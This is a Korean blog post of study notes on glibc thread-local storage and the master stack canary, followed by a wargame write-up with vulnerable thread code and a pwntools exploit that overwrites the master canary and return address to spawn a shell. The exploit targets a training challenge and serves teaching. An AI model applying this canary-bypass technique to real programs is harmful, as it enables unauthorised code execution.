Background : Master Canary
TLS (Thread Local Storage)
스레드의 전역변수를 저장하기 위한 공간으로 loader에 의해서 할당
init_tls() : 로더에서 TLS 영역을 할당하고 초기화 하는 함수
static void *
init_tls (void)
{
/* Construct the static TLS block and the dtv for the initial
thread. For some platforms this will include allocating memory
for the thread descriptor. The memory for the TLS block will
never be freed. It should be allocated accordingly. The dtv
array can be changed if dynamic loading requires it. */
void *tcbp = _dl_allocate_tls_storage ();
if (tcbp == NULL)
_dl_fatal_printf ("\
cannot allocate TLS data structures for initial thread\n");
/* Store for detection of the special case by __tls_get_addr
so it knows not to pass this dtv to the normal realloc. */
GL(dl_initial_dtv) = GET_DTV (tcbp);
/* And finally install it for the main thread. */
const char *lossage = TLS_INIT_TP (tcbp);
if (__glibc_unlikely (lossage != NULL))
_dl_fatal_printf ("cannot set up thread-local storage: %s\n", lossage);
tls_init_tp_called = true;
return tcbp;
}
_dl_allocate_tls_storage함수에서 TLS영역을 할당 -> tcbp에 저장 후, TLS_INIT_TP 매크로의 인자로 전달
SET_FS
- TLS_INIT_TP 매크로 : dl_allocate_tls_storage에서 할당한 TLS영역을 fs로 초기화
# define TLS_INIT_TP(thrdescr) \
({ void *_thrdescr = (thrdescr); \
tcbhead_t *_head = _thrdescr; \
int _result; \
\
_head->tcb = _thrdescr; \
/* For now the thread descriptor is at the same address. */ \
_head->self = _thrdescr; \
\
/* It is a simple syscall to set the %fs value for the thread. */ \
asm volatile ("syscall" \
: "=a" (_result) \
: "0" ((unsigned long int) __NR_arch_prctl), \
"D" ((unsigned long int) ARCH_SET_FS), \
"S" (_thrdescr) \
: "memory", "cc", "r11", "cx"); \
\
_result ? "cannot set %fs base address for thread-local storage" : 0; \
})
arch_prctl syscall의 첫인자 : ARCH_SET_FS, 두번째 인자 : TLS 주소
=> FS 세그먼트 레지스터를 초기화 후, TLS영역을 가리킴
Master Canary
TLS 주소( _dl_allocate_tls_storage에서 할당한 주소 )에서 0x28만큼 떨어진 주소에 위치한 랜덤한 값
: 이 값을 읽어서 프로세스 시작 시에 RBP 앞에 삽입 하므로 스택 버퍼를 사용하는 모든 함수에서 같은 카나리 값을 사용
: security_init()에 의해 TLS영역에 랜덤한 카나리 값이 삽입
static void
security_init (void)
{
// 1. 카나리 값 생성
// _dl_setup_stack_chk_guard 함수를 통해
// 커널이 만든 랜덤값을 지닌 포인터 _dl_random을 인자로 생성
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
// 2. 카나리 값 삽입
// THREAD_SET_STACK_GUARD 매크로를 통해 2번째 인자에 value삽입
#ifdef THREAD_SET_STACK_GUARD
THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
__stack_chk_guard = stack_chk_guard;
#endif
/* Set up the pointer guard as well, if necessary. */
uintptr_t pointer_chk_guard
= _dl_setup_pointer_guard (_dl_random, stack_chk_guard);
#ifdef THREAD_SET_POINTER_GUARD
THREAD_SET_POINTER_GUARD (pointer_chk_guard);
#endif
__pointer_chk_guard_local = pointer_chk_guard;
/* We do not need the _dl_random value anymore. The less
information we leave behind, the better, so clear the
variable. */
_dl_random = NULL;
}
1. 카나리 값 생성
static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void *dl_random)
{
union
{
uintptr_t num;
unsigned char bytes[sizeof (uintptr_t)];
} ret = { 0 };
if (dl_random == NULL)
{
ret.bytes[sizeof (ret) - 1] = 255;
ret.bytes[sizeof (ret) - 2] = '\n';
}
else
{
// 공동체 변수ret에 kernel 생성 dl_ranom값 복사
memcpy (ret.bytes, dl_random, sizeof (ret));
// 바이너리의 바이트 오더링(byte ordering)에 따라 and 연산 수행
// little-endian의 경우: 복사한 값의 첫바이트를 NULL 변환
#if BYTE_ORDER == LITTLE_ENDIAN
ret.num &= ~(uintptr_t) 0xff;
#elif BYTE_ORDER == BIG_ENDIAN
ret.num &= ~((uintptr_t) 0xff << (8 * (sizeof (ret) - 1)));
2. 카나리 값 삽입
THREAD_SET_STACK_GUARD는 TLS + 0x28위치에 생성된 카나리 값을 삽입하는 매크로
ㄴ디버깅
p/x $fs_base 명령어를 통해서 fs 세그먼트 주소를 확인할 수 o!
Exploit Tech : Master Canary
Thread Stack
스레드 함수의 변수 : 일반적 함수에서 사용하는 스택 영역이 아닌 TLS와 인접한 영역에 할당
-> 그러나, 버퍼 할당 시, 동일하게 TLS영역의 마스터 카나리 참조!
=> 스레드에서 할당한 변수는 마스터 카나리의 위치보다 낮은 주소(높은 숫자)에 있기에 BOF 발생시 마스터 카나리 overwrite 가능
==> 조작한다면 스택 카나리를 알 필요없이 마스터 카나리로 모든 함수를 exploit할 수 o
-pthread_create 함수
// THREAD_COPY_STACK_GUARD 매크로를 통해 header.stack_guard에 위치하는 카나리 가져옴
#define THREAD_COPY_STACK_GUARD(descr) \
((descr)->header.stack_guard \
= THREAD_GETMEM (THREAD_SELF, header.stack_guard))
int
__pthread_create_2_1 (pthread_t *newthread, const pthread_attr_t *attr,
void *(*start_routine) (void *), void *arg)
{
...
#ifdef THREAD_COPY_STACK_GUARD
THREAD_COPY_STACK_GUARD (pd);
#endif
/* Copy the pointer guard value. */
#ifdef THREAD_COPY_POINTER_GUARD
THREAD_COPY_POINTER_GUARD (pd);
#endif
/* Verify the sysinfo bits were copied in allocate_stack if needed. */
#ifdef NEED_DL_SYSINFO
CHECK_THREAD_SYSINFO (pd);
#endif
...
}
- 코드 분석
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void read_bytes(char *buf, int size) {
int i;
for (i = 0; i < size; i++)
if (read(0, buf + i*8, 8) < 8)
return;
}
void thread_routine() {
char buf[256];
int size = 0;
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read_bytes(buf, size);
}
int main() {
pthread_t thread_t;
init();
if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
perror("thread create error:");
exit(0);
}
pthread_join(thread_t, 0);
return 0;
}
- 시나리오
1. 주소 거리 계산
(thread routine) 스레드에서 할당한 버퍼 주소 ~ 마스터 카나리의 주소
( 프로세스 재시작해도 상대적 위치는 동일)
2. 마스터 카나리 변조
원하는 값으로 변조
3. RIP 조작
이전에 스택카나리, RBP, 리턴 주소가 임의의 데이터로 덮여져있음
-> stack canary를 변조한 마스터 카나리 값으로 조작 후, 리턴 주소를 예제 속 giveshell함수로 overwirte 하여 셸 획득
- exploit 실행
1. 주소 거리 계산
thread_routine의 stack buffer 주소 : [rbp-0x 110]
$rbp-0x 110의 주소(스택 버퍼) : 0x7fff f7bf ed40
master canary의 주소 : 0x7fff f7d7 e668
위의 스택 버퍼 주소 - master canary 주소 = 0xffffffffffe81928
2. 마스터 카나리 변조
마스터 카나리인 stack_guard를 성공적으로 덮기 위해 self값을 적절하게 덮어 SIGSEGV가 발생하지 않도록 해보자.
self의 주소 : 0x7fff f7bf f650
$rbp-0x 110의 주소(스택 버퍼) : 0x7fff f7bf ed40
=> 두 주소간의 차이 : 0x910
self를 적절한 값으로 덮어서 self->canceltype (rax+0x972)가 바이너리가 매핑된 영역에서 rw권한이 있는 곳을 가리키도로 ㄱ설정
=> vmmap 명령어로 바이너리가 매핑된 영역에서 rw권한이 존재하는 영역을 찾으면 다음과 같다.
초반 부분이 아닌 중간 부분 (약 0x404800) 을 사용하여 실제 활용 가능 지점에서 벗어나자
이후에는 조작한 카나리를 덮어쓰고 ret addr를 주어진 giveshell함수로 덮어쓰면 셸 획득
- exploit
from pwn import *
giveshell = 0x401256
valid_addr = 0x404f80-0x972 # valid address for fs:0x10 + 0x972
p = remote("host3.dreamhack.games", 21933)
payload = b'A'*0x108 + b'CANARY!!' # buf + DUMMY 8B + Canary
payload += b'B'*0x8 + p64(giveshell)
payload += p64(valid_addr) * 257
payload += b'CANARY!!'
payload += b'AAAAAAAA' * 75 # 71-92 에서 exploit 됨
bufsize = len(payload)//8
p.sendlineafter("Size: ", str(bufsize))
p.sendafter("Data: ", payload)
p.interactive()
(Reference)
https://minseosavestheworld.tistory.com/109
https://keyme2003.tistory.com/entry/dreamhack-Master-Canary
'System Hacking' 카테고리의 다른 글
linux library exploit :: __environ (1) | 2024.03.29 |
---|---|
linux library exploit :: _rtld_global (0) | 2024.03.28 |
SECCOMP (0) | 2024.03.23 |
Path Traversal (0) | 2024.03.23 |
command injection (0) | 2024.03.23 |